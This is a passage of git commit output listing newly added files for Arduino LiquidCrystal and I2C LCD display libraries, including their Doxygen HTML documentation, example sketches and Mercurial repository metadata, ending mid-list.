create mode 100644 libraries/Arduino-LiquidCrystal-I2C-library-master/keywords.txt create mode 100644 libraries/I2C_LCD02/I2C_LCD02.ino create mode 100644 libraries/LiquidCrystal/FastIO.cpp create mode 100644 libraries/LiquidCrystal/FastIO.h create mode 100644 libraries/LiquidCrystal/I2CIO.cpp create mode 100644 libraries/LiquidCrystal/I2CIO.h create mode 100644 libraries/LiquidCrystal/LCD.cpp create mode 100644 libraries/LiquidCrystal/LCD.h create mode 100644 libraries/LiquidCrystal/LiquidCrystal.cpp create mode 100644 libraries/LiquidCrystal/LiquidCrystal.h create mode 100644 libraries/LiquidCrystal/LiquidCrystal_I2C.cpp create mode 100644 libraries/LiquidCrystal/LiquidCrystal_I2C.h create mode 100644 libraries/LiquidCrystal/LiquidCrystal_SR.cpp create mode 100644 libraries/LiquidCrystal/LiquidCrystal_SR.h create mode 100644 libraries/LiquidCrystal/LiquidCrystal_SR2W.cpp create mode 100644 libraries/LiquidCrystal/LiquidCrystal_SR2W.h create mode 100644 libraries/LiquidCrystal/LiquidCrystal_SR3W.cpp create mode 100644 libraries/LiquidCrystal/LiquidCrystal_SR3W.h create mode 100644 libraries/LiquidCrystal/docs/Doxyfile create mode 100644 libraries/LiquidCrystal/docs/def/doxygen.def create mode 100644 libraries/LiquidCrystal/docs/def/doxygen.def.txt create mode 100644 libraries/LiquidCrystal/docs/html/_fast_i_o_8cpp.html create mode 100644 libraries/LiquidCrystal/docs/html/_fast_i_o_8cpp_source.html create mode 100644 libraries/LiquidCrystal/docs/html/_fast_i_o_8h.html create mode 100644 libraries/LiquidCrystal/docs/html/_fast_i_o_8h_source.html create mode 100644 libraries/LiquidCrystal/docs/html/_i2_c_i_o_8cpp.html create mode 100644 libraries/LiquidCrystal/docs/html/_i2_c_i_o_8cpp_source.html create mode 100644 libraries/LiquidCrystal/docs/html/_i2_c_i_o_8h.html create mode 100644 libraries/LiquidCrystal/docs/html/_i2_c_i_o_8h_source.html create mode 100644 libraries/LiquidCrystal/docs/html/_l_c_d_8cpp.html create mode 100644 libraries/LiquidCrystal/docs/html/_l_c_d_8cpp_source.html create mode 100644 libraries/LiquidCrystal/docs/html/_l_c_d_8h.html create mode 100644 libraries/LiquidCrystal/docs/html/_l_c_d_8h_source.html create mode 100644 libraries/LiquidCrystal/docs/html/_liquid_crystal_8cpp.html create mode 100644 libraries/LiquidCrystal/docs/html/_liquid_crystal_8cpp_source.html create mode 100644 libraries/LiquidCrystal/docs/html/_liquid_crystal_8h.html create mode 100644 libraries/LiquidCrystal/docs/html/_liquid_crystal_8h_source.html create mode 100644 libraries/LiquidCrystal/docs/html/_liquid_crystal___i2_c_8cpp.html create mode 100644 libraries/LiquidCrystal/docs/html/_liquid_crystal___i2_c_8cpp_source.html create mode 100644 libraries/LiquidCrystal/docs/html/_liquid_crystal___i2_c_8h.html create mode 100644 libraries/LiquidCrystal/docs/html/_liquid_crystal___i2_c_8h_source.html create mode 100644 libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r2_w_8cpp.html create mode 100644 libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r2_w_8cpp_source.html create mode 100644 libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r2_w_8h.html create mode 100644 libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r2_w_8h_source.html create mode 100644 libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r3_w_8cpp.html create mode 100644 libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r3_w_8cpp_source.html create mode 100644 libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r3_w_8h.html create mode 100644 libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r3_w_8h_source.html create mode 100644 libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r_8cpp.html create mode 100644 libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r_8cpp_source.html create mode 100644 libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r_8h.html create mode 100644 libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r_8h_source.html create mode 100644 libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r___l_c_d3_8cpp.html create mode 100644 libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r___l_c_d3_8cpp_source.html create mode 100644 libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r___l_c_d3_8h.html create mode 100644 libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r___l_c_d3_8h_source.html create mode 100644 libraries/LiquidCrystal/docs/html/annotated.html create mode 100644 libraries/LiquidCrystal/docs/html/bc_s.png create mode 100644 libraries/LiquidCrystal/docs/html/class_i2_c_i_o-members.html create mode 100644 libraries/LiquidCrystal/docs/html/class_i2_c_i_o.html create mode 100644 libraries/LiquidCrystal/docs/html/class_l_c_d-members.html create mode 100644 libraries/LiquidCrystal/docs/html/class_l_c_d.html create mode 100644 libraries/LiquidCrystal/docs/html/class_l_c_d.png create mode 100644 libraries/LiquidCrystal/docs/html/class_liquid_crystal-members.html create mode 100644 libraries/LiquidCrystal/docs/html/class_liquid_crystal.html create mode 100644 libraries/LiquidCrystal/docs/html/class_liquid_crystal.png create mode 100644 libraries/LiquidCrystal/docs/html/class_liquid_crystal___i2_c-members.html create mode 100644 libraries/LiquidCrystal/docs/html/class_liquid_crystal___i2_c.html create mode 100644 libraries/LiquidCrystal/docs/html/class_liquid_crystal___i2_c.png create mode 100644 libraries/LiquidCrystal/docs/html/class_liquid_crystal___s_r-members.html create mode 100644 libraries/LiquidCrystal/docs/html/class_liquid_crystal___s_r.html create mode 100644 libraries/LiquidCrystal/docs/html/class_liquid_crystal___s_r.png create mode 100644 libraries/LiquidCrystal/docs/html/class_liquid_crystal___s_r2_w-members.html create mode 100644 libraries/LiquidCrystal/docs/html/class_liquid_crystal___s_r2_w.html create mode 100644 libraries/LiquidCrystal/docs/html/class_liquid_crystal___s_r2_w.png create mode 100644 libraries/LiquidCrystal/docs/html/class_liquid_crystal___s_r3_w-members.html create mode 100644 libraries/LiquidCrystal/docs/html/class_liquid_crystal___s_r3_w.html create mode 100644 libraries/LiquidCrystal/docs/html/class_liquid_crystal___s_r3_w.png create mode 100644 libraries/LiquidCrystal/docs/html/class_liquid_crystal___s_r___l_c_d3-members.html create mode 100644 libraries/LiquidCrystal/docs/html/class_liquid_crystal___s_r___l_c_d3.html create mode 100644 libraries/LiquidCrystal/docs/html/class_liquid_crystal___s_r___l_c_d3.png create mode 100644 libraries/LiquidCrystal/docs/html/classes.html create mode 100644 libraries/LiquidCrystal/docs/html/closed.png create mode 100644 libraries/LiquidCrystal/docs/html/doxygen.css create mode 100644 libraries/LiquidCrystal/docs/html/doxygen.png create mode 100644 libraries/LiquidCrystal/docs/html/files.html create mode 100644 libraries/LiquidCrystal/docs/html/functions.html create mode 100644 libraries/LiquidCrystal/docs/html/functions_func.html create mode 100644 libraries/LiquidCrystal/docs/html/functions_vars.html create mode 100644 libraries/LiquidCrystal/docs/html/globals.html create mode 100644 libraries/LiquidCrystal/docs/html/globals_defs.html create mode 100644 libraries/LiquidCrystal/docs/html/globals_enum.html create mode 100644 libraries/LiquidCrystal/docs/html/globals_eval.html create mode 100644 libraries/LiquidCrystal/docs/html/globals_func.html create mode 100644 libraries/LiquidCrystal/docs/html/globals_type.html create mode 100644 libraries/LiquidCrystal/docs/html/hierarchy.html create mode 100644 libraries/LiquidCrystal/docs/html/index.html create mode 100644 libraries/LiquidCrystal/docs/html/installdox create mode 100644 libraries/LiquidCrystal/docs/html/jquery.js create mode 100644 libraries/LiquidCrystal/docs/html/logoGoogle.jpg create mode 100644 libraries/LiquidCrystal/docs/html/nav_f.png create mode 100644 libraries/LiquidCrystal/docs/html/nav_h.png create mode 100644 libraries/LiquidCrystal/docs/html/open.png create mode 100644 libraries/LiquidCrystal/docs/html/search/all_5f.html create mode 100644 libraries/LiquidCrystal/docs/html/search/all_61.html create mode 100644 libraries/LiquidCrystal/docs/html/search/all_62.html create mode 100644 libraries/LiquidCrystal/docs/html/search/all_63.html create mode 100644 libraries/LiquidCrystal/docs/html/search/all_64.html create mode 100644 libraries/LiquidCrystal/docs/html/search/all_65.html create mode 100644 libraries/LiquidCrystal/docs/html/search/all_66.html create mode 100644 libraries/LiquidCrystal/docs/html/search/all_68.html create mode 100644 libraries/LiquidCrystal/docs/html/search/all_69.html create mode 100644 libraries/LiquidCrystal/docs/html/search/all_6c.html create mode 100644 libraries/LiquidCrystal/docs/html/search/all_6d.html create mode 100644 libraries/LiquidCrystal/docs/html/search/all_6e.html create mode 100644 libraries/LiquidCrystal/docs/html/search/all_6f.html create mode 100644 libraries/LiquidCrystal/docs/html/search/all_70.html create mode 100644 libraries/LiquidCrystal/docs/html/search/all_72.html create mode 100644 libraries/LiquidCrystal/docs/html/search/all_73.html create mode 100644 libraries/LiquidCrystal/docs/html/search/all_74.html create mode 100644 libraries/LiquidCrystal/docs/html/search/all_77.html create mode 100644 libraries/LiquidCrystal/docs/html/search/classes_69.html create mode 100644 libraries/LiquidCrystal/docs/html/search/classes_6c.html create mode 100644 libraries/LiquidCrystal/docs/html/search/close.png create mode 100644 libraries/LiquidCrystal/docs/html/search/defines_5f.html create mode 100644 libraries/LiquidCrystal/docs/html/search/defines_61.html create mode 100644 libraries/LiquidCrystal/docs/html/search/defines_62.html create mode 100644 libraries/LiquidCrystal/docs/html/search/defines_63.html create mode 100644 libraries/LiquidCrystal/docs/html/search/defines_64.html create mode 100644 libraries/LiquidCrystal/docs/html/search/defines_65.html create mode 100644 libraries/LiquidCrystal/docs/html/search/defines_66.html create mode 100644 libraries/LiquidCrystal/docs/html/search/defines_68.html create mode 100644 libraries/LiquidCrystal/docs/html/search/defines_6c.html create mode 100644 libraries/LiquidCrystal/docs/html/search/defines_72.html create mode 100644 libraries/LiquidCrystal/docs/html/search/defines_73.html create mode 100644 libraries/LiquidCrystal/docs/html/search/defines_74.html create mode 100644 libraries/LiquidCrystal/docs/html/search/enums_74.html create mode 100644 libraries/LiquidCrystal/docs/html/search/enumvalues_6e.html create mode 100644 libraries/LiquidCrystal/docs/html/search/enumvalues_70.html create mode 100644 libraries/LiquidCrystal/docs/html/search/files_66.html create mode 100644 libraries/LiquidCrystal/docs/html/search/files_69.html create mode 100644 libraries/LiquidCrystal/docs/html/search/files_6c.html create mode 100644 libraries/LiquidCrystal/docs/html/search/functions_61.html create mode 100644 libraries/LiquidCrystal/docs/html/search/functions_62.html create mode 100644 libraries/LiquidCrystal/docs/html/search/functions_63.html create mode 100644 libraries/LiquidCrystal/docs/html/search/functions_64.html create mode 100644 libraries/LiquidCrystal/docs/html/search/functions_65.html create mode 100644 libraries/LiquidCrystal/docs/html/search/functions_66.html create mode 100644 libraries/LiquidCrystal/docs/html/search/functions_68.html create mode 100644 libraries/LiquidCrystal/docs/html/search/functions_69.html create mode 100644 libraries/LiquidCrystal/docs/html/search/functions_6c.html create mode 100644 libraries/LiquidCrystal/docs/html/search/functions_6d.html create mode 100644 libraries/LiquidCrystal/docs/html/search/functions_6e.html create mode 100644 libraries/LiquidCrystal/docs/html/search/functions_6f.html create mode 100644 libraries/LiquidCrystal/docs/html/search/functions_70.html create mode 100644 libraries/LiquidCrystal/docs/html/search/functions_72.html create mode 100644 libraries/LiquidCrystal/docs/html/search/functions_73.html create mode 100644 libraries/LiquidCrystal/docs/html/search/functions_77.html create mode 100644 libraries/LiquidCrystal/docs/html/search/mag_sel.png create mode 100644 libraries/LiquidCrystal/docs/html/search/nomatches.html create mode 100644 libraries/LiquidCrystal/docs/html/search/search.css create mode 100644 libraries/LiquidCrystal/docs/html/search/search.js create mode 100644 libraries/LiquidCrystal/docs/html/search/search_l.png create mode 100644 libraries/LiquidCrystal/docs/html/search/search_m.png create mode 100644 libraries/LiquidCrystal/docs/html/search/search_r.png create mode 100644 libraries/LiquidCrystal/docs/html/search/typedefs_66.html create mode 100644 libraries/LiquidCrystal/docs/html/search/variables_5f.html create mode 100644 libraries/LiquidCrystal/docs/html/tab_a.png create mode 100644 libraries/LiquidCrystal/docs/html/tab_b.png create mode 100644 libraries/LiquidCrystal/docs/html/tab_h.png create mode 100644 libraries/LiquidCrystal/docs/html/tab_s.png create mode 100644 libraries/LiquidCrystal/docs/html/tabs.css create mode 100644 libraries/LiquidCrystal/examples/HelloWorld_4bit/HelloWorld_4bit.pde create mode 100644 libraries/LiquidCrystal/examples/HelloWorld_SR/HelloWorld_SR.pde create mode 100644 libraries/LiquidCrystal/examples/HelloWorld_i2c/HelloWorld_i2c.pde create mode 100644 libraries/LiquidCrystal/examples/LCDiSpeed/LCDiSpeed.pde create mode 100644 libraries/LiquidCrystal/examples/LCDiSpeed/LCDiSpeed.txt create mode 100644 libraries/LiquidCrystal/examples/SerialDisplay/SerialDisplay.pde create mode 100644 libraries/LiquidCrystal/examples/i2cLCDextraIO/i2cLCDextraIO.pde create mode 100644 libraries/LiquidCrystal/examples/i2cLCDextraIO_tempLeonardo/i2cLCDextraIO_tempLeonardo.ino create mode 100644 libraries/LiquidCrystal/examples/performanceLCD/performanceLCD.pde create mode 100644 libraries/LiquidCrystal/keywords.txt create mode 100644 libraries/NewliquidCrystal/.hg/00changelog.i create mode 100644 libraries/NewliquidCrystal/.hg/bookmarks create mode 100644 libraries/NewliquidCrystal/.hg/branch create mode 100644 libraries/NewliquidCrystal/.hg/cache/branchheads create mode 100644 libraries/NewliquidCrystal/.hg/cache/tags create mode 100644 libraries/NewliquidCrystal/.hg/dirstate create mode 100644 libraries/NewliquidCrystal/.hg/hgrc create mode 100644 libraries/NewliquidCrystal/.hg/last-message.txt create mode 100644 libraries/NewliquidCrystal/.hg/localtags create mode 100644 libraries/NewliquidCrystal/.hg/requires create mode 100644 libraries/NewliquidCrystal/.hg/store/00changelog.i create mode 100644 libraries/NewliquidCrystal/.hg/store/00manifest.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/_fast_i_o.cpp.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/_fast_i_o.h.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/_i2_c_i_o.cpp.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/_i2_c_i_o.h.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/_l_c_d.cpp.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/_l_c_d.h.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/_liquid_crystal.cpp.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/_liquid_crystal.h.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/_liquid_crystal__4bit.cpp.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/_liquid_crystal__4bit.h.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/_liquid_crystal___i2_c.cpp.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/_liquid_crystal___i2_c.h.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/_liquid_crystal___i2_c___by_vac.cpp.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/_liquid_crystal___i2_c___by_vac.h.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/_liquid_crystal___s_i2_c.cpp.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/_liquid_crystal___s_i2_c.h.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/_liquid_crystal___s_r.cpp.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/_liquid_crystal___s_r.h.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/_liquid_crystal___s_r1.cpp.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/_liquid_crystal___s_r1.h.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/_liquid_crystal___s_r1.sch.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/_liquid_crystal___s_r1_w.cpp.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/_liquid_crystal___s_r1_w.h.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/_liquid_crystal___s_r2_w.cpp.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/_liquid_crystal___s_r2_w.h.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/_liquid_crystal___s_r3_w.cpp.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/_liquid_crystal___s_r3_w.h.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/_liquid_crystal___s_r___l_c_d3.cpp.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/_liquid_crystal___s_r___l_c_d3.h.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/_r_e_a_d_m_e.md.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/_s_i2_c_i_o.cpp.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/_s_i2_c_i_o.h.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/_soft_i2_c_master.cpp.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/_soft_i2_c_master.h.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/def/doxygen.def.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/delay__x.h.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/__fast__i__o__8cpp.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/__fast__i__o__8cpp__source.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/__fast__i__o__8h.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/__fast__i__o__8h__source.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/__i2__c__i__o__8cpp.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/__i2__c__i__o__8cpp__source.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/__i2__c__i__o__8h.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/__i2__c__i__o__8h__source.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/__l__c__d__8cpp.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/__l__c__d__8cpp__source.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/__l__c__d__8h.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/__l__c__d__8h__source.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/__liquid__crystal__8cpp.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/__liquid__crystal__8cpp__source.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/__liquid__crystal__8h.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/__liquid__crystal__8h__source.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/__liquid__crystal______i2__c__8cpp.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/__liquid__crystal______i2__c__8cpp__source.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/__liquid__crystal______i2__c__8h.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/__liquid__crystal______i2__c__8h__source.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/__liquid__crystal______s__r2__w__8cpp.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/__liquid__crystal______s__r2__w__8cpp__source.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/__liquid__crystal______s__r2__w__8h.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/__liquid__crystal______s__r2__w__8h__source.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/__liquid__crystal______s__r3__w__8cpp.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/__liquid__crystal______s__r3__w__8cpp__source.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/__liquid__crystal______s__r3__w__8h.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/__liquid__crystal______s__r3__w__8h__source.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/__liquid__crystal______s__r__8cpp.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/__liquid__crystal______s__r__8cpp__source.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/__liquid__crystal______s__r__8h.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/__liquid__crystal______s__r__8h__source.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/__liquid__crystal______s__r______l__c__d3__8cpp.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/__liquid__crystal______s__r______l__c__d3__8cpp__source.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/__liquid__crystal______s__r______l__c__d3__8h.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/__liquid__crystal______s__r______l__c__d3__8h__source.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/annotated.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/bc__s.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/class__i2__c__i__o-members.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/class__i2__c__i__o.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/class__l__c__d-members.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/class__l__c__d.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/class__l__c__d.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/class__liquid__crystal-members.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/class__liquid__crystal.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/class__liquid__crystal.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/class__liquid__crystal______i2__c-members.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/class__liquid__crystal______i2__c.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/class__liquid__crystal______i2__c.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/class__liquid__crystal______s__r-members.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/class__liquid__crystal______s__r.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/class__liquid__crystal______s__r.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/class__liquid__crystal______s__r2__w-members.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/class__liquid__crystal______s__r2__w.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/class__liquid__crystal______s__r2__w.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/class__liquid__crystal______s__r3__w-members.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/class__liquid__crystal______s__r3__w.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/class__liquid__crystal______s__r3__w.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/class__liquid__crystal______s__r______l__c__d3-members.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/class__liquid__crystal______s__r______l__c__d3.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/class__liquid__crystal______s__r______l__c__d3.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/classes.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/closed.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/doxygen.css.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/doxygen.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/files.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/functions.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/functions__func.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/functions__vars.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/globals.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/globals__defs.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/globals__enum.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/globals__eval.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/globals__func.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/globals__type.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/hierarchy.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/index.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/installdox.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/jquery.js.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/logo_google.jpg.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/nav__f.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/nav__h.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/open.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/search/all__5f.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/search/all__61.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/search/all__62.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/search/all__63.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/search/all__64.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/search/all__65.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/search/all__66.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/search/all__68.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/search/all__69.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/search/all__6c.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/search/all__6d.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/search/all__6e.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/search/all__6f.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/search/all__70.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/search/all__72.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/search/all__73.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/search/all__74.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/search/all__77.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/search/classes__69.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/search/classes__6c.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/search/close.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/search/defines__5f.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/search/defines__61.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/search/defines__62.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/search/defines__63.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/search/defines__64.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/search/defines__65.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/search/defines__66.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/search/defines__68.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/search/defines__6c.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/search/defines__72.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/search/defines__73.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/search/defines__74.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/search/enums__74.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/search/enumvalues__6e.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/search/enumvalues__70.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/search/files__66.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/search/files__69.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/search/files__6c.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/search/functions__61.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/search/functions__62.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/search/functions__63.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/search/functions__64.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/search/functions__65.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/search/functions__66.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/search/functions__68.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/search/functions__69.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/search/functions__6c.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/search/functions__6d.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/search/functions__6e.html.i create mode 100644 